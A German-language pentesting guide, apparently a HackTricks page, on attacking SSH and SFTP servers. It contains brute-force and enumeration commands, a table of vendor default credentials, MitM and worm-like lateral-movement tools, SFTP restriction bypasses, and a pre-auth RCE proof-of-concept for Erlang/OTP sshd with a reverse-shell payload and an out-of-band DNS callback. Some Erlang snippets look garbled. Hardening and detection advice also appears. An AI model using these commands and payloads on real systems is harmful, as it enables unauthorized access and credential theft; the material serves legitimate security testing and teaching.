22 - Pentesting SSH/SFTP

Reading time: 16 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

SSH (Secure Shell oder Secure Socket Shell) ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist entscheidend für die Wahrung der Vertraulichkeit und Integrität von Daten beim Zugriff auf entfernte Systeme.

Standardport: 22

22/tcp open  ssh     syn-ack

SSH-Server:

  • openSSH – OpenBSD SSH, in BSD, Linux-Distributionen und Windows seit Windows 10 enthalten
  • Dropbear – SSH-Implementierung für Umgebungen mit geringem Speicher- und Prozessorressourcen, in OpenWrt enthalten
  • PuTTY – SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener
  • CopSSH – Implementierung von OpenSSH für Windows

SSH-Bibliotheken (Server-seitige Implementierung):

  • libssh – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in Python, Perl und R implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
  • wolfSSH – SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist
  • Apache MINA SSHD – Apache SSHD Java-Bibliothek basiert auf Apache MINA
  • paramiko – Python SSHv2-Protokollbibliothek

Aufzählung

bash
nc -vn <IP> 22

Automatisierter ssh-audit

ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -Clients.

https://github.com/jtesta/ssh-audit ist ein aktualisierter Fork von https://github.com/arthepsy/ssh-audit/

Funktionen:

  • Unterstützung für die Protokolle SSH1 und SSH2;
  • Analyse der SSH-Client-Konfiguration;
  • Banner abrufen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
  • Schlüsselwechsel-, Host-Schlüssel-, Verschlüsselungs- und Nachrichten-Authentifizierungscode-Algorithmen sammeln;
  • Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
  • Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
  • Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
  • Analyse der SSH-Versionenkompatibilität basierend auf Algorithmusinformationen;
  • Historische Informationen von OpenSSH, Dropbear SSH und libssh;
  • Läuft auf Linux und Windows;
  • Keine Abhängigkeiten
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Siehe es in Aktion (Asciinema)

Öffentlicher SSH-Schlüssel des Servers

bash
ssh-keyscan -t rsa <IP> -p <PORT>

Schwache Verschlüsselungsalgorithmen

Dies wird standardmäßig von nmap entdeckt. Aber Sie können auch sslcan oder sslyze verwenden.

Nmap-Skripte

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute-Force-Benutzernamen, Passwörtern und privaten Schlüsseln

Benutzernamen-Enumeration

In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:

msf> use scanner/ssh/ssh_enumusers

Brute Force

Einige gängige ssh-Anmeldeinformationen hier und hier und unten.

Private Key Brute Force

Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Oder das MSF-Hilfsmodul:

msf> use scanner/ssh/ssh_identify_pubkeys

Oder verwenden Sie ssh-keybrute.py (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): snowdroppe/ssh-keybrute.

Bekannte schlechte Schlüssel finden Sie hier:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Schwache SSH-Schlüssel / Vorhersehbarer PRNG in Debian

Einige Systeme haben bekannte Mängel im Zufallsseed, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der bruteforced werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen mit schwachem PRNG generiert wurden, sind hier verfügbar: g0tmi1k/debian-ssh.

Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.

Kerberos

crackmapexec verwendet das ssh-Protokoll und kann die Option --kerberos nutzen, um über Kerberos zu authentifizieren.
Für weitere Informationen führen Sie crackmapexec ssh --help aus.

Standardanmeldeinformationen

AnbieterBenutzernamenPasswörter
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzernamen und Passwort mit dem SSH-Server verbinden möchte, könnten Sie versuchen, einen MitM-Angriff durchzuführen, um diese Anmeldeinformationen zu stehlen:

Angriffsweg:

  • Traffic-Umleitung: Der Angreifer leitet den Datenverkehr des Opfers auf seine Maschine um und unterbricht den Verbindungsversuch zum SSH-Server.
  • Abfangen und Protokollieren: Die Maschine des Angreifers fungiert als Proxy, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt.
  • Befehlsausführung und Weiterleitung: Schließlich protokolliert der Server des Angreifers die Anmeldeinformationen des Benutzers, leitet die Befehle an den echten SSH-Server weiter, führt sie aus und sendet die Ergebnisse zurück an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint.

SSH MITM macht genau das, was oben beschrieben ist.

Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den Network Spoofing attacks beschrieben sind, verwenden.

SSH-Snake

Wenn Sie ein Netzwerk mithilfe entdeckter SSH-Privatschlüssel auf Systemen durchqueren möchten, indem Sie jeden Privatschlüssel auf jedem System für neue Hosts verwenden, dann ist SSH-Snake genau das, was Sie brauchen.

SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:

  1. Finden Sie auf dem aktuellen System alle SSH-Privatschlüssel,
  2. Finden Sie auf dem aktuellen System alle Hosts oder Ziele (user@host), die die Privatschlüssel akzeptieren könnten,
  3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
  4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.

Es ist vollständig selbstreplicierend und selbstverbreitend – und vollständig dateilos.

Konfigurationsfehler

Root-Login

Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen, was ein erhebliches Sicherheitsrisiko darstellt. Das Deaktivieren des Root-Logins ist ein kritischer Schritt zur Sicherung des Servers. Unbefugter Zugriff mit administrativen Rechten und Brute-Force-Angriffe können durch diese Änderung gemildert werden.

So deaktivieren Sie den Root-Login in OpenSSH:

  1. Bearbeiten Sie die SSH-Konfigurationsdatei mit: sudoedit /etc/ssh/sshd_config
  2. Ändern Sie die Einstellung von #PermitRootLogin yes zu PermitRootLogin no.
  3. Laden Sie die Konfiguration neu mit: sudo systemctl daemon-reload
  4. Starten Sie den SSH-Server neu, um die Änderungen anzuwenden: sudo systemctl restart sshd

SFTP-Brute-Force

SFTP-Befehlsausführung

Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. /usr/bin/nologin) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. Benutzer können diese Einschränkungen umgehen, indem sie die Ausführung eines Befehls (wie /bin/bash) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.

Beispiel von hier:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Hier ist ein Beispiel für eine sichere SFTP-Konfiguration (/etc/ssh/sshd_config – openSSH) für den Benutzer noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Diese Konfiguration erlaubt nur SFTP: Shell-Zugriff wird deaktiviert, indem der Startbefehl erzwungen und der TTY-Zugriff deaktiviert wird, aber auch alle Arten von Portweiterleitungen oder Tunneling werden deaktiviert.

SFTP Tunneling

Wenn Sie Zugriff auf einen SFTP-Server haben, können Sie auch Ihren Datenverkehr darüber tunneln, zum Beispiel mit der gängigen Portweiterleitung:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Der sftp hat den Befehl "symlink". Daher, wenn Sie schreibbare Rechte in einem Ordner haben, können Sie Symlinks von anderen Ordnern/Dateien erstellen. Da Sie wahrscheinlich in einem chroot eingeschlossen sind, wird dies für Sie nicht besonders nützlich sein, aber wenn Sie auf den erstellten Symlink von einem no-chroot Dienst (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie die symlinkten Dateien über das Web öffnen.

Zum Beispiel, um einen Symlink von einer neuen Datei "froot" zu "/" zu erstellen:

bash
sftp> symlink / froot

Wenn Sie auf die Datei "froot" über das Web zugreifen können, sind Sie in der Lage, den Root ("/")-Ordner des Systems aufzulisten.

Authentifizierungsmethoden

In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorbasierten Passwort-Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von publickey in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne password zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Wenn beispielsweise ein Limit für Authentifizierungsfehler festgelegt ist und Sie nie die Möglichkeit haben, die Passwortmethode zu erreichen, können Sie die Option PreferredAuthentications verwenden, um diese Methode zu erzwingen.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.

Config-Dateien

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Mehrere SSH-Server-Implementierungen enthalten logische Fehler in der Authentifizierungs-Endzustandsmaschine, die es einem Client ermöglichen, Verbindungsprotokoll-Nachrichten vor Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, dass er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu unauthentifiziertem Codeausführung oder Sitzungscreation führt.

Auf Protokollebene gehört jede SSH-Nachricht mit einem Nachrichtencode ≥ 80 (0x50) zur Verbindungsschicht (RFC 4254) und muss nur nach erfolgreicher Authentifizierung akzeptiert werden (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im SSH_AUTHENTICATION-Zustand befindet, kann der Angreifer sofort einen Kanal erstellen und Aktionen wie die Ausführung von Befehlen, Port-Weiterleitung usw. anfordern.

Generic Exploitation Steps

  1. Stellen Sie eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… bereitstellen).
  2. Erstellen Sie ein rohes SSH-Paket:
  • 4-Byte packet_length (big-endian)
  • 1-Byte message_code ≥ 80 (z.B. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload, die vom gewählten Nachrichtentyp verstanden wird
  1. Senden Sie das/die Paket(e) vor Abschluss eines Authentifizierungsschrittes.
  2. Interagieren Sie mit den Server-APIs, die jetzt pre-auth exponiert sind (Befehlsausführung, Port-Weiterleitung, Dateisystemzugriff, …).

Python proof-of-concept outline:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber keine Authentifizierung wird jemals durchgeführt.


Erlang/OTP sshd (CVE-2025-32433)

  • Betroffene Versionen: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Ursache: Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er ssh_connection:handle_msg/2 aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während die Sitzung sich noch im userauth-Zustand befindet.
  • Auswirkung: nicht authentifizierte Remote-Code-Ausführung (der Daemon läuft normalerweise als root auf eingebetteten/OT-Geräten).

Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection kann über DNS durchgeführt werden:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detection & Mitigation:

  • Überprüfen Sie den SSH-Verkehr: verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird.
  • Aktualisieren Sie Erlang/OTP auf 27.3.3 / 26.2.5.11 / 25.3.2.20 oder neuer.
  • Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) – insbesondere bei OT-Geräten.

Andere betroffene Implementierungen

  • libssh 0.6 – 0.8 (Server-Seite) – CVE-2018-10933 – akzeptiert ein nicht authentifiziertes SSH_MSG_USERAUTH_SUCCESS, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt.

Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf Zustandsmaschinen-Durchsetzung.

References

HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks